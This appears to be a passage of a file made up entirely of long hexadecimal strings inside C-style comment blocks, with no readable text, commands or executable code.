f4961dabdbc044a80d3e59f3ed9af4fcf4c8c97fac9a382c10f5c807403117f2ad46f8b18feb342688a179e33285756c1ab47b4faa172615e34b7c4e3dae0b83710d5e53d6ed116502351d39f26633fcc7ee324a73d845ae1d30747285007730d625d22af5abd76e773ec1ca61b409a5a2fe62a1540f133dc721d80dfa3a0304b0e8a30e4aa56b412a87fd45fb7109b79ce40f3cf92371931cc2e0f792321251692b98c5d3a474fae86eb5dac820a62fea2b17d8f4f8b4ae95d3231cfbac2705e633b53d69cfa7c0be4290a705e95b3dd3e09e69ccaedcdfeaf292a9c71019ffae0280f19e13b4192b8b469c3455e8d715301a4dced63fb43c50ef03ede7d835e866fec7561e2a0908d57e490c3c597a52c496b34530cd30aaa44ca781706032da9ec2189ac9a2a0d95985cba48e8aa0d91456fba9212d867e7d8008a1df045d6d0f021200d377db97c923d75bcc8e7d82a0f13f4ca610d0018116cf878d60f2e8ea84dceb50197fda4ebfd80b9e7a96ee02f53d23c614fb02d267dcb394ec000a9c45665e55c8eb0cbe7acba59e88e4c28ed7eecc9744b460bed507e5d3c1b1c41ff3fc4fe771d2e7bf449066e3d73a5dcf2a92a645f8d0684a3154a75b653d0bf29cd39c726398654afbf22db784c554a3587686e70259be66180405af7a2b3042130aa2b418a66639cd08befee89ba0827eeb6188be4230a96*/
/*47f0a6af944d007c1a3f1cc3a077642f367b22b1f6c2e942baeb0e1f186cb07052145fd82c47bed8d86c9cc8a97a781e98ca16ae1082d86b1a3d381f0ddf07ac7f35c7d5ef8db1ee280b579054a83a20b2df83ed1b91c9c1cf060b6a85bc2f12995839bd60d0616957a49df094a65d2b55f82cbcaf4f56c0875f7a45576890e864a9a9723b5e03bc9b6f624a832da9215f12a98c297b9c941ed053b3b90bfee00c21ecfed04484c541f92d2e4de81776ce2db454c6847e84e8a145348478434d971e8379e6748d3b06e3c13c5c603d5b9c2ae208c6fac0def8ade30d65cc844641d694bef0d346da081c6caad6dd4be9fafd78ca44d4ee675b8a2dc8ab837d3290496c1bd528c21424d7c9783785e451900eab0e3d345de54e4285a5dc888c0e0823f4563a9e637fb7efcc6c84d442acb9fb93a335a346ff47d05cb611efc2d2eca566d624673a0ed5e0712d3571dd973dadfc91778f664f6dd53f690cfe700166900f22fdbab317e28d8e66d468c333071eab7c9b80cf9b9c2a15f49a8e9825b40cabd305386825854bc190eaa2693d77c93779b4bdd7f8540eee73170dd39fda78e1f83f30a02b985de95cad9224e10c86f337ff1f4dfd37ecaa3b3c0a69d38053811151ccd2853a36cc95b2ed3e68514af79657e6cf3f36d258c4b0fe60baab22f766e7e4ad06c64e899366f78c63c69f8e0888477a18cc8f1df2dc764faeadb18d68aac697da0d4d6891cd3da0f8aeea24ba5fc57fcd28d299429e601026c87fd4c7d7885145eccebd9b9b2764fe5b7646c2bb874d83a2f2c11a64562bcf80908c52dd2d22e4fd4f75c71723d3af1b6e98c0d74b07858827f9b1006b3b77ad99a15bbbf69c255648938583dc9b162da2a9d1816dbb28c3550bbb29c6e7b16dc29d495f2d8d7e104a5bd5e2bd382bd97e22c3bae2d56153c6107d3be7d188c10a81f024992fd9d12171d5959d441964bc02bd9c297ddcc1eb5dc06639106a89c82d5e83c623a6258a2c0a43831fa98a897483d0f3dc7a8ede2f9aeb2b7b0b633c4fa9358883085823ba25bb108818bc18255f4c613331976c6a43ed1aa813e8c2e4bca233d45481f5cb5c999e3622528c58c75444b48a8d1f3a6ea35b433e22d25ffd2189fe2ff4a4b00af88cacb8f6127be792f72076987b585d96659de9b63c530a19cc3c54e23223abae39a1aa6ca848c10c386cf15e879ba07161b9d798dff5d99db30b44bad6901f875d0aa1c42b1b29fbcb932955926cf8f633186e5a7d9aba1a45095983437660d048f1dbd132f75acb35db1e6abe3ba0124e7a9fc1623e188a381e954215f0620348ca839549f04b606f0223b4d5d9eb7956bebae6c38f53215247aa466317a8bd59cc108ae89036332acfd8aad0cb56c6d261bafa07992307ea9a7b55d7a7da295b8bae5f648e6cb12f0cf00b720bb3cad4771073c2dcb4e5dfb500afe7ba2004dbc0275f17f84a30d71d02573ababcc3cda5f58cac29963452ec3425dc2e5931fb9a515aa92da51554a6481f44364e6237df6a2ad1f22a5e396fe2f764638a31f8830d8d2fa7ed18967307152ee22a1b172b7fba0945f4d29c89726ad2e07b38cc4b88131c37995f40705ba1dff924285abd131a8f3e6a0688f6fd53f418a26ada5bc82cce3297a35977dac4b47a1fbd7efee83494be821236b0a069ccbd02b0115256642f5ceb710c32ba2e9b831da13772daf0d1badea570f1d9654df173a02907cadc1a23ba74461e2ac14de4a8617b6f059e41340cec5f3329ee9bda1852c6f32bfd11ce770cd9737ad458f9af6cd2c8d089b5695eb4615434f143d39aba86bdea43e6d5b9b400e3bc63e9ba93592b893f5ef0e434edd986dd198f265825f1c969c3f02cc00fbfa651563bd75570088a6271446da48724bae833c0d6415aefa165e77088487ef9dda502c0962959c23257cce2fd7d07d61372c9d0f771f2e26ce68bc37bde5b1587588c2c703a37dd3c6331482f231b16c0d0af6aba0040846203c0cb308b558a8d8503f182d51cc6f422554b3333bdcfd8e5cf7eadaf235a47be00b6967f427ccd127950c6808593baebc34c6b3716089596096fbb3e3e7435e64fc3adfff1b55a915b336378d39951280402a4fcd76adaea5b86bce71e8561863a7aa74098165c3c5510c2a06c30028d5a5cd3438f374e0c2db0b294a728f7a3994fc908035050eb1aeb6c1200fdfd34e5d8178e816c1ddb5e347ca60dd79dc87a21f516df06ff0ac697e0e73985c1e5e4d6c305bf19c2fc9d884748099d70e9f747aa67f3e0f83f8d17becf7fec8fe594d357be411a8991d517bfd5ab0751551ca8524f7016047b0c50ef5e2de555e7b8983ef5d9c09ef1751e62648d6ba64d865da783edca9e6ce9c853e5e076770eeafa1afa2da3bb5f39565497b0fe226f09b7f56ad267ba98acdf2e5b56ff8aefdcaeefcb12863ba26fc3e98f1faa4eb7f2317494cba027d8ff17e9e5361f341209724514f945e5cc4848c89ce3b15dada2c76318cabf780ef387cc88b9d375aefa0a64c6f11f3b0329c5cb7a9670f747a5548ebbf4458cf8ceec9cad7707163799c693b0e2b6d497b653a5da4e93c02b3ec7d34245977f207dd201df659bc131027fc809a7a96ec9a0b5bee173a8e51936e013a92e4d2393346c6d61384c02dad272dac888738b046de52fa3fe11a2f1d670c8bd7beb4d5fb2692efe81d11c6e9886cd9c2b448ed2951863d3945312ddbc5fa565649985fd252ff4bdc16476fa3cad230d46a3d4aee6eab9524d8091e5abb8f4d7bfdf68c45b93fb7b982007f00a60904b17574cc43a7a6a3841e55d4e*/
/*9cedcccf0d2815cfd3726175c84a31e3b50bb3a229a8c4db951c86280b7a5fd5b4faf2c80af921c43e2022164ba50f53a3578378e9d25a9a0abcdb48332cfcb5e3e1e0d466f9eabef5440ae25dfd7d0cce03df32c06694090d7120ce7588bfdd373eb01cbce9dca4f79b88e8747c8fcd1737918bbca08cd87f5beae0e0ac68b98bc47291e307c1be3b0d509bf34ed92ee9e8e986b92fa5053f7c0dada04240a4d20489cea7f9160beba1829fac9b90aebd45bd46734a55348bbf7c13692bf5eae84a4cd69a0abd137d16a68799c4fd2e86d441ce7130f3daa8382b8bae010766a87d170042cbe7b5c9d0c2996a4479688bf7f046e7247715f0cfc6a56dcdd53eb8fc4ab6493407e100a2c013738c656134eb3a5835b10da63694d871408d377905b0d415615bbf3b7d0552b0186224f1fff4ddf8c088d89c4f0c975ec142026845ba84669fb55db8c1a6f5d18dc073f974e8c603beacc0481a8f1c914f44d0dcceb29ef37d04c28c2e50293faf80576958d6826a7897ab18ee34550814fa7bd8a2e6cf585ac873eddc637a82cba10b33da50efac9de1ab9a95027428ff461935e8034edc2ff9948ada878b18557d0646ecb6b6af608fd726d8d9777b81fcfcf2fa2287193a52c2a04f5da6066eb91b1dfce797918b6a71e3cd9293284472e44614d51a37c6f189ecf5ff73c329ad8564d9a0bdf0365856c6c4619eca7a88affdba55c9099c38ac4c29009d8094d7b06dfd05e46984822e904d5f2b95c131854b1732b5631647f54b61ac44d43d9ff1f2de34f3d6c4d9334ef1e9ed0454176bbfaac6799764c73b9617ac64795ed9297bfc8abf86fe268d3679c85b5a2f664bcf96078c4f5e34bae1b902dbce0176460caca0eb03d8c603acbdc88744dcbbb85f8ddf11989ff418d9579f7f8d550f6e4febdb6a2aabbbda24264cefe2cee9476cc8a4e12a65da8ebb8fddcbe4cb5fca795d3f7f4321066762468a4f62edc400135e805696b94454a23e5729545c04bb980719f4c0c67c9a1d6463006f98ea411c8668613cbde8ea553b1815264ee4e69c1bf291dace824528c9fc4c88b9c65084f858e1582774de8ffdfb6f2b648d68bb3be504cb89becd6d1375b4af010ca08b4d4803de6771fdcaadbd5a5fbcc0f08a6d67a2105e35e796f3f58aa7cf8b3429948723a39b918fce469c7d36e4d348fdf4e08f1159725122c3ea92883f57e7a4a6bdc5be7ba96be6cecd4c065a7d630009f7b65aecaf2ab7af15d64feb5bb4035a67a9417b8308adae30733f9d953d8172b43d3fd2f01139807b0c0a8fdddba7eb0d8165fba55adf1fd0bd29426db3a483d7a16aff1def3061106c718c31158a8d1b756aec45dc252514ca1ef8e6a5bfe8a5b99d83b4f0ad5b9d96d2d5bd4554c02544418cf0bce3cbaf57817ad3f3dfa9c4cfa575abf8674aa68d36ad44d73c94f70a401e86d5b21de6a1a36c961862d686c54ffb79368b71bf767fb106e065a574d8e0fe50e2542f6ca1b94391b1943a9fef0a19e7cb696d8f533925b2f46e86d89246e3e3cdf513976e9f3b4e246e01653b574654cdb59c4bf95454347bbf0696d6d51b1f5bf699e8897f2fe96488fe9210712de373aebed2486455cc71fff9b23b9e009ca3d641bf74a87d77277a6a2004fb381efb13b2714f6c596f4e06f2d972737793d757f3a3c11b8e133d817c5d7bd7fbbd9d10f6e98a901c26e5c1f21b87ae849213c721951fbc64e85ee3c2746e3498c37a773b8c0899dbf4a81733e3529fa7fe12cb0aba65d8113d8c90b95aacac0d1400a9cd26f5f3753cac97b8b5d73b06346725a07d9791e252832b2544e21f4950d71e827017fd877764af781de743224797de258e236a66e2ab677cc152b0512d2692a79bad9228415493d66d9049ac8ab1681b525dece8fb663f52fa4f7febeda5c9ba91dce008f69be6c029e2db233f970e592e249a32f74ef2da952fd891f76a7a90aaf0d59e57743debbba6c82a5c0dcd38ae40df21bc18dda5b5151df8c7150413aa46018e6879c3bea1245ab661eb76bc665e7e8724e6a8d2e06c1e5a365ab175f3f825fe246ec3e59875a3a363d7811671b5837826adc3b0b563385b279d4a03d6bfa2f871562095f2af86b33452a7cb38e737a4cfb5a7707e7fffafcd63ba0c33adecb53dd49a8bcb96595d97912ae4cce9307680c482b20daabb64eb59d726cc9bb33e1d22a725ea949b570fc17a76ce07307a9f468738524a74306dc2c15733988376d1a96e04b4ba625f9fc6eb812e9e63dc6b1bfb611857823d8215e59013b246682c8a1644916522a5ce56e4dd81c60cd2750a978f71921f5b9442e7aea2c641a37b7d4f95e7b51642c087af49132de195025f0c15a5ff36a75c19a8a100efeae314d77c85b9a24734f574b91228e0e89f88c4104647070832abaf2890e06ee7dbe8e7364142efaf67f799e4f28fdc01c201e699bd8150397a97e50215a82e8cd4cf09730fe39e8baa293810ad531f0bd3f43851081d57281cead73ae6436f600b596d2ce9996f9f2a91322603e197bb2cc2199455e381da0f17ab7281f981a6dd5d5e10d6c6cf624b036fc57b1f53fc9074d05643217640727745022f453c90a6adb48249ffdfc194d12e6ac8759a17a8fc91e2eb39722f920ebc2c391b2269c093ce4ed976824c088b3c01d9cff1f4a2ed54573540351923b3c282a21c62c61bdd7d79f42130c7872f15ff1dd30aab9e7051e5a8fa6c49f55456a6a66c91bfe2fd245f0d1f59fffad147ebe310a25263903b928dbb5e897b621f8d4886308a9a948435e1717844331cc9ccdb11634bf8f1a497*/
/*0faaca6b732c842d06cab9de8c9f887e15d3fa5d3f3123d8b54a8551b57c198ad44d47fc57f993bff8807cadfd15034c0861c4a3796465f93ce13e604ff8591e6c3f296fd083b304615db8fc411790c57385c7d2d30592d65d8dee98759443ed20518efcb4e4f201b99a5df8358867fc77e2db1a44520af6e1c3d15b08709e1e5323c988310c470f31f3d9e58b6f87969b5bca904c35964fb5a3e0ef076e9a497dcdcf7d00a477223902b824519a474d38120687d9b81592b87f02216e0da3c1aac174e2261c2507121b002e90c020fa8978a1d2fdd11d90cca12dd7691c34b1f37938ef3d1e08feed6726cbb3fc676374b25b8e81373bab4478c904c2ca8e4e360c0457eccd218a833f6e272e0df864b4db28624f1cef7e34289e57034186a38e12b2de45c122b9ee5cf3bfba29e335deb06e9a28524700bb11f96a55bd269c1021fdfd86e7a53169e156b532c8fe710af24f904a6842777d95973fa679f5eb3b8bfe61298ea09483bf734ccfa321806e8375f50e7752329833e70968ffdf97f48e8723e148a3be8252fcdc4da68b4f8cf4399fa42cbe0fb4eb9ab5cdac8b51e4dc44356d0d02a482ab40e64f5f8da9d6b5ab2664ce859ed7a81ee8dcf5924a5ce4e830226a1aa3ec089f08c13ce20aaba32654bd85c11413528c85df6fac074b220eceae0386b47fa4323ce0eae6f89abef17ab705cd604499c437ba905d6a5c68c39760b18be7869458b9ef8aa74922ae19176b18d8c54df38eedae12d0c5b1324ed9c8e9ca11b04371322317eb378c62fd0c9b0eb7c3bcddf313332ed8d3c2848384e5db47431f0b0a540dea8bb56643b9e51b0c9085d825675afcd9c6a9f6ec0de2c0248708c8b1731c66c24fc1ceb887c643b6bcc78bf6d0742ef37cfde72d63e66db451b140ed9d590606a9c132f7be0c31cee32595706b0859c2850b79deb2aa77cb4d03807994fd2e847d943c96fa03ccbc4d246018246775c6927424bee1db0685b165d8a14e8a88c7f5c39190207d418d2f862324b870fefc05ca05db958eec114f710fa7686ed0a3873cfbeed745a9c58276a270ac1e66f16b71b3f3268c65834eab34da179fc10505b447668ca0de91e782172bd47d34675e38e55657fbf86f039eca68796f9f02809b021f15c7d79c5d001410a7d0e3594d35ff3c4ab03fb1775ee5735dc0e4f102132fcbb626a8ea748ceec3178511b33e6130ecda5a4b5ec6962b86f7b3fe1e2f7252eef05f9953337b5afd4409704be897014bbff6754c083acf2875b8bf95cf9541d693502368d43283556999fff13d784fc7d3f022c4f36ca39e18a25cfc5d426df1a342c22ebd9b20b0c41e5449bf72cf2268bfa77fc3b3a7543c3286324880fa087e4981bf68af55c284b1643024ab5eb73373dad3b88eee0b08c02a37f99fa112a368e7197e8b21ec7e26358270127aff8a689dcd51cc02f84655b2154dca48bf7dc3ee40f41bfe6a4f479d636db29b54dda8175dce967e4c099b233a6c02c4cdb3f31c14654f8c9172a4927f50ef2d0ce9a8b8464914afee6e06e031e77a2b44a47e51aad8ef99f70b6ca571439cca3643cecf2fc8c2fc9e7bf5d428febe8b2786a702a1bc94d809b1f7770712d253b946b0e103d1212f84032dd98eb2fb16ee2f1b25e6ff7c38b5412cfb07141d650751c5b023ee9018919b2829fd09a8f82bd925106769a2f738af75b88f39a9cd12de3333a116b236dd85b3cc3e61004bb19b32b04af736a289ba482bf6a066b83ffdcf48acb3b5a3d19e3219e331946a09a16134cf7d31428634b85b7c0855127e3feca68ea4be514a9c765c884c4b614395ca2be4b291b393886ddac2919780e77b1b14fe3a1125814b011e36767e80a4be6507c8c38abdd974390b7331089a4e5dd60af0eb163b753cafb0c1c67aa5e0e6c160f3770f915b321a59f0e8ae6bfbb756a36b9dea200d7d0333356f06470d01a4e843cfacc3456a370560fdb0bc4d7b324186f328d054a1cf74d8b5d05cd855be33b3a95c69b70859e2fabdf47e6e7ae97b922ce043be1ef7d597d4bd9782cdd967dfce3d53854572a1ec6d7d19e68b4aa333500ebad14f6bbf4892952c2bd8bc3f03af1a35c2c2378f70531e16aabac52e66a4318f30ffa1f357f1198a2c6327f956e759c55707920c5f908a00a4506022a4280275d5caf26baf0f77063ae2b72a8be5f4269b6c9e0d496ea12d60551fea731ca712f2f92e1754131e77c59a1148e094f52dd7406b78b35153f19bddf28f9d11da9d546f80ad1fb44b107822fe2ec91e001741127bd03e4a3eade364da59e4a46422e2e6a2901d9a18e547304cf672a8e52fb3a81888deb26d9259ea6cb423a6df5eaee4822822cd6d103157eda3e9a1a96123aa10cad70253396732516db80bec0d39cb20ac09b5b9ff6953fda60bd56419fc00e2cb1d6669dabc1139041e103d5ca79aebcc8488d9bcb3f19daeb9f76b05d44f64c8dfdf5af9e2d4d1b402321e0bc860e7634a7690180664087480dd31ca719c047a8a7067ab19f30b31d5e127dbba64fcecf628bda972323c207fa3d6f0a2986b7065ff11eaf089464a8ace964ef8679fdc124694415851280e500546ed9f2ffbebe9b8a82189f4538483b16549b9ac8ae511c30768897916830b857f1a08480cb3bad9220cf2dbe0090bf81d427a19db9e8f9b35fe7abb8d05fefc90817d3b7dc8c81655eb4880c21d1a7a6143ac9746bfcc21ef7003a648fbaba9a9a7baa9bdc6fd6ac37159da07e880451093f3ca0fcf1d049e4dbb13813992a20132d7f057def298ac68a2cf5f02a8074fc996ef89af3dab46*/
/*c3abb323e6a6ef3ca4e16b0dbb57d4f01353cf13d365eef4e9f90b471dfb450ee34284e9563828bd3e9cb516c5c3a3fe46c47cd59a00a519fa620f3b64f9df7fb644395ef18231f9026f59a6b69f2bcdef0814babc7a4c19822280c5f31b777afd3c202fb069cc8958a98fb660dc4730dee0b32fcb6315e5d0616e4536488e8f6927c6e9c7f7ffe26d71cb1070704358dc8179167914c9a005a0a0ae9ef2548ea346d00d8cdcb3804f37944dad1524088b91d43ce0923fd1b39cc8b2c0b2bb6253ff4785cacc5eb9751f6dd973a2c5675a5d05a2781d2a06a923ec24096b3976b302eb2fb36184fb029fdebee6dbe70ac2a3d335de31924ea86d10b90eabb4dcb530bb338049cd1deb6a4ab3e0dd5baad40b5d5521f53f1b562df72c1888da0458a89a0ae2078a975851f84347d3fd225599990b57c324c0e1d50a85fef2c83a0c0d1df37e5642c46456d610951edab1ac23f3b79a529902fd46c8676a683379a025ef74376b888cb3241b3a5cd94a57c742b3455b76ba4a98b517310a058950cf9e347c3e132076a414cf265957c413672ca6cbde98cbb5dbd34b515eb9712c9ff1c4081bb720a8ca13e7e9bc54f1fb348b15c8d11e4eb48a790f28ad6bc159e876fb5fa41f6c4a35399b24aa1e058c9015094179c12219484e8b01bd17d56e70ac2411762a421ce70473e414b5e1da20c4da3af123cd45c606dd0904d8b745433ef96b8879813e525a8723141a62f00bbf2c6f30ab5b223077cab1bf4406e84700ea76270bb2cbef663f70506b1256e07adff8e654802aecedbe4d31288e6f0366b0f6212d1298d085c28be8ee3849180065f7e3880ab5f9a581b5af8879b5c74cc6d468ab564cd8c3679da1675b093a96e539452bbcde8f0788ecbcd9a77ae65ba99bf30d4d20e56bd67c9d773fda40c1642be399e883df3f7d4ec46e7f306616b495020bb639534841874d96689316ca74cdcd3ddce9e5be524e50986f1d3ebb2ca944374db81e9571ab2c9b6fa1649aca61fbf46872c9d3952f34d7376b9f915c86c4de85a50aa1099944ce04dde298e3aab9445fbc33054af20f8a580aabc1c6795fe3307aac1da3871b49696228a3b3867027c153cd733dbb3a1383d04020b04d491554e1651a20bc28b299e975d0bc9ceecbee5cf345a4362838eb8c6f53546e16603f4f17a8f58b58b1d99efbdb46993ddd014d47963516d884cfb5175cfcdfe7742c7cd3a93c702ef3a9f000e86dc755f1d9d7170a704cf673bb098e056458541216e7c294ba5684e402db8f012e511f9bb09d23305d1b21f506bb0d322f2fd7efbc76d8e163aa6931e39bf0f255e02ab9d1e0844344ba1d13c1465ac911b763b5ff09dce7ca70d045f4ce79c605ccd53ac5e90ec02f6ec9d5aa98f0a3db07811caa389dc300223fddad8fd381e80db61545579271fcda8cc5bd18c0dc2bf558bf1d78cef88bba3bc6f1e73103206c5e40c391ff6a8039064a1b5ebd8bea2c54f1978aca8e5da55b533c195526d795e5579d5dfdda715491b8d026dfd1ef7b7bb1e91236c9bd6e9aba963cc1b74cce869cca699019f047b6b0be41c9a278ce0f4fd0e9121bf4501377e8e3119a18b42d8b30595016a575cbb3d44d934a54ef679de7667008047212344117d2dd435cf3f4967d5923fbdb5a3463f949cef1776b6653875e7c0354e5df5ecb6cdd30d1fe4c38c51eed2ffc2974ae21528925db7ae4a2a2f1f53ca097a9c54f63538e119a971bcff4ea24dbf4566c7523594026f95640af5e026123f8bca61f597c5eee87c2707fcd43af332519b5ffa50b7d2050423713e3f13ef85f72a25a66bf84ec3d9607550af23cf8875b0c92d6d0593829a711762bffc807aae69587e8b419e14de8debf4dab43091a5061081500639111446017ff46f49b2c4cb3505a9cacc9ac438b4bcd1bb59e83c5678110da6b2b132589421d1d921432b57f23fe181020101f6021c6a9ad51351714379cdb1b468eab96def9686df628e4aebcf52a3fba51467356aaa34cb33bed87d361782dc0238a182202656d615b175f3aac5515f3809dc51534d157e5636850a3affd14064b7da79c9fd748f18d543696f54e23c7fa6d7a73b373218e8345e97f22b64aa76f6f193ce81d8854ecd049b0a760f9d2f90f6b4a3c2923dd3f6dfefd78751e53a211002a3a812de5489e01d30d422417cbb88b631913ec6d3331fbb0b9bc9164126827b77378167c3030b360f67f63ce90bacdb31cd31b7ee5e912d3f33a582eec22585bf92ff2a0dfa658a705a9d5ee1489b7e9ab8cf411094b02715a699bed8c547ab885aa952a491db646428a71ad5d1e615d1a265d959f9916d18cdea8b1eeb4c47ac69070d8c5a1d4c909e1aa3cc0279d40921e81e493ff5fecdc444acfdb8b7c40d62517f646f0b394f6ef58f5e31cd20f42db6bbf81de67d4b08c602291a1d3c3613b8a0f6f981f4d06dc67fbb0d7a3bb95939858395034e80034e349c7399daf273bd25365809f8e856954a4b1f3e5ecd38dde3c003642d491bf014566f332bad03776b4c99694144b8de885de21e193ebc215b48a42f5de5079c07fdf803b04d75b917945e0fe7e6781b0a47a769d2f2cb78cef9d785f30687ac57f93be6ef2a8f4887c655a7df58ff51f2f66d13884d0d2926c05649c9ca1cdcc983db366b92ea545e6adffec9632b2d62c36e82733e421bd2945f893d344a9551d708ee7716c0c59bdfeb56dd8eaecf55419ad070d36125c5f8c4f245557c67477a82219932de5faaf0936778e0560bc75894fc507fb908170e3417ef459073ddca2d10c5f287e5be3834c2cde*/
/*b99fcb1f0e03abc0cb404c4a38edfba6bda899cd8182fc65dd4208905d41c9ddfa7909f3eef79b77aa76ad05be2e5d0ad4c8800cf01454c4ef77bc37bac573fd3d77f5d14856efda61684f54cd10118f5b635b1825e859a2c4b39d2b2f7912dbd72762807373a51cc664c0a6acb83ae618056f9f204b0f4b97d55463322e69bbeeb6f451b469fb770dbdca9b72324db0be2e40a9b2d39e8965d8c2fdd8b8d65ed98bc2747545c554f0e18783603cd1cefbeee9304ce04e2a67bd7ec86522c68a00592f0d9f0cbeb02a33a541c5867189eedbd403086cbfde533f51bc0bb5c26ba623afd7456a185493c0203d0738fe73c0bb3e2b9726f3a86d0908e08817411688cbb4ffabafa3f46260450864f83a873e768e3040f9750ad5839dbca2543f3f2c6109943dc9f37a7a029327ceeb5474fd52799c5ccaa124d8d6e593275caf6b3c3f42341ae07d14e031cf3cc49b1ed772ea111165e5d3ac86699af92e4cc85205c094fa7dd41f18d7e5fcf1061cae65473791e278bb42ba39ebdbede4aa7d0de0080774bcd1ff2beac7af25eec5fc98fb1fc9859e5829a0e849f2034889f9a7bc579ced8194481d9cf1dd382d993a2d253948618891f1aff45f428f35a7147144febeea9d920a4f3cdb44909409a0d076a8e163ffdd018f30f175285992bfda339bff3a0352994834b3a49e1eeb6d97ca084638c1f54c2f4b203d21f24aff083ad6471a327d41ce8749de21107047895849f45ed3c20ea5549c715a6102e49e4813517516a4dd3e5aeffda084d0f18185009a8ef553c2861abfb10f36cfd619b9825ff8ee83adf3c57220711987c051f81cee6e3fc3558e585750240823f2c271ae7d4e3f73305d904094842c9b6ed6db71171667717cf61070acc18ff0ceb623c03dd5457285fef2c2d3bcc2607c1570e9ec1f4e757a035aea3a4ac2e22f15ec6417a019f0f7f6e3e369e89a359646290930346baa4bc409712e56f71ff6d919212e6cee1e556dd2e4c474266b40325536f358608ea3e54771e1f53715b0bcc3724545356bbe9ff60adfff298e1b5f3589c8cab291dc6c376dc183eb3fc3b006d1da7ae03b8dd7c2124e0a8f0cc634d161da414c9a96d11266195a4b712c929510802472b9f3ad07e71518f98a8cc291ca8bfac55906a9cf103552ea6d9af3a719b6adeacc80d686bac25104eb0c3bc0aa0f1a5cb7fb1f52740a440815a1eb6acdb409e77f545c2c1c18f65b9ffb21e4a4736f781357a32b3c3802ed49d500425eb42fb48f3ba93487be74e08df85774ef51a1319372e21f459297a32efea18f39d861e0bd62c3c6081739f993f0070afc28af5f4aafdedebac12ff3759d3af8b894186d2acc67f4b03e8eadd801aabddfdcc23c04f5208d461c7b1658d24cd3cf64f6aee72d0a57eddfbcf542760c8476899d95d2ed1c07e6e7c2995fbd32e2a0eb2133b7bcc7fb017ddfaccf9849589f5fdf09c8453727abcc82c02d00a79e0f9ff19a5b453798a89ea44bac91744fbec0dcd8a1f168a9ec9d301771a51b881114134017e7217727884fd82befdef8c4508ecea54ed40b0ca8d89084e628faddc797f25d15b98d6baf164d2a620812bd851a1fd95e336b473b4f3b370ff45de2400e3dcb73eec822f2d309fbcbb9634c2ca6e4f5957ee0dd68202ec6877aa1e5470bb4162c0f088f328563495edb4e363ccfac838d85bf2b0616d936409f1a30ec80c00ba82d34f66c9e2afb67c9d4faca07a38a12a303c7d862e629c37652816b270ee4cc894747e29c12272585f950ec02852c484f58fd4c331c1dc0413f29b9c0ce5d1a4a925376c44979f2b302e25ca56d63c91a735bdd3321d72f7f229d0d061d87733c3332c834fb80243889669deafcad49c911e3991431566791016bd9714bff9c8d16db9b22135bfcb3649f3b80bab34fcc80d8625453bca80316992e51178cc598b64e1979f4f46a4438fadffc442cba7d09d1fbbf2fdb2f9a70667ea6b0152122aeb6a7cfbc9ceef22425328c7151752ca8ab3c2d12ab737bdecb45724456ae0b7e505ba4c685870733fca6c275b201480c4f23f93a60545250f6c3975cf9037e8f22a01aa10840412ac1ba10b8ae7d96e1d43d91ede51272f8eef53fd93f13e8b033b3ad5fb80f39ff6d13bbf8e2e8054c4d5ed9dba00d856c0f7c25b9e49ee67494dd89883b06d72710bb57e23d4002c23a15c6f97155cc77f1a962e9f5f165cabbbcb4b9591b514546d94910b56291fe0784feffd0fe7a9a6ab9690a6d091698cced04b043937f7309e996fb1563e0e76347b88a7bab95e13042ab6d6b0938dc72e7a9db592c678760cf31db4e32a7ec6897276cdd95dde158cc413423b94612f556eb54bd6765ee7220ef89efe06db502b7932695fa08d1573b3b6d786f81ae3bfc24d10fbeeed2d18a4a92c791b2c4318a67ff5268100f432acc302ea0384ebbd9ee60332d30e474300e65e9b101972fb59b053f1b696517bcf739c10f43cf3718787f01f857eac494d1c06c5b3fc3797b829a0f4e1b03dd6fbce3df918767b59dd9c4d95784657099dc38185b9a8c20507b588bd61100c531fff73c09c1e2dfe9507db8f37e7226cd4bfb37bfa9cd12bfcbb0fa239875dd9e6ad1d5d05300cacde8713aacb488a28c1e556bcaec58b60347d250d72018565b6f5785925c47e2c988d11a25414c0b62552335dfdea2893511e8cbbf34fb4d09635a5fd420525797a552bda51471a5c911ec594cf685e812ef9950bd10d1e05e97f3a8b4fb158c8174c9a21d67a13ab8c53fde6568f06f626b162181fce7ad789a1f4d23df30143aa714985f2f*/
/*0a1364a23a939f10c92c1bef27f6327ed52cea0fa3ae94c7cf6c111215bd1619f8e012783689e078567fc8937e12726cff6faca2cb7c6a1ca0e774ca2ed5969908dc1dd343f475ded629c496e4bf3ae5596a4985f5f2623addb607ed3ea901dc052109c80258260f3904a843190a70ff84156cef85b326fbfb5d935619daff5f6b90a7fa33c2a0bb49cb8048974a1fe7414f3c6a77d2456f1f1b2c066b215a012eff3eb9aa7cf70e9d8bfbe0d6c675fd10afcb74dc79950e26cfaaf7856921691225b3f1f2b16a0a85fabfb140963f52b8d768461912e4b0bf878d4d1c047058b72c90f26bfe18dbef872ca37404b3b6706688bdb5dc2cae2789c57aa3ddf39ef152c908fce81359f14dce227d2aaacfa301dc9a0308eb55473dee47d5b6e7e5424e93bc163daf44baa87265222438744fe48ef7ba183887f6ce2bea4087251a5607fed268d6354e9b27a9aeea62fe1390e1b44553bd7b335a95010470693674c6037bb374f39064e011765166c2ed7be415cc1d41f4bcff8796c379c7fa774e8059e037d784b32de0f8edc785f67cb675182209f4852d32bc40b8c65d036ed6616ec9718fdf4b079d81f5175cf439e56355214ca79c2c715bd85bce06521b1a33418cce9cbf1b06094830cddf738a91fdb72866971f6d394eb2c007007951a459fe9a3167ab8e3e0370be6de7a749bf74e2ceb4e266d03d0eb373858d99c53f42936206d68b23d397cfcec58d91ed1f1ba847ccfac031d49826c6bc325a6143eec9766cb635836990bf39ac419eca56af179144b34536ed6e7118df8d0d7e5d3595d8798aa3b426607a5460bb8d0cc5d3f1df7f36318c1e038f8f7117d6c2a0d37b7eace63ff4c535a35cf4d35b5e82180d7a21edd8ccf8b6ea8fd45279e9189818ead62d95af83c6d3e978c1907fdd34b8bdedf506a4080e4bce77b591671c971706f730f8ff082a56ba3c2249f5fc0c0d3722677c6ff445c792cedf6b609206e286dbaf6cd57349c519e43314f63f74e22a94703142fd42d952c29b67354dc4219f4730db99457ba89d7de57b3e9d28fca165bf82f9a9c514847d64d2a090ff6b818c582d2b4e03a17d7b7a646574bcc6eb2c5de440ec98a90884198e6eca9b6bc739d29df0700d21e1704da68700528778692919817dbe5a9145631c75fc56372a4d5fed29ff1eae0a956c9f614532013c4aca57f11e5f6ebacfe997b0cd4ab82cc067893242189d18b247ef14375c7cad0ab76821de5e1043cfdd3511a89bf9829c8218d27fd43063c764623116f644b967b57f78b8316ee3354e324b755d86893515fad1f1985af0acc4f974b6b1b68cebec9bb1c5cb2417a7e78fcc66e42c9c3902633a7777ce3ffe6de2dc1e4c604253618364d062997dffe5c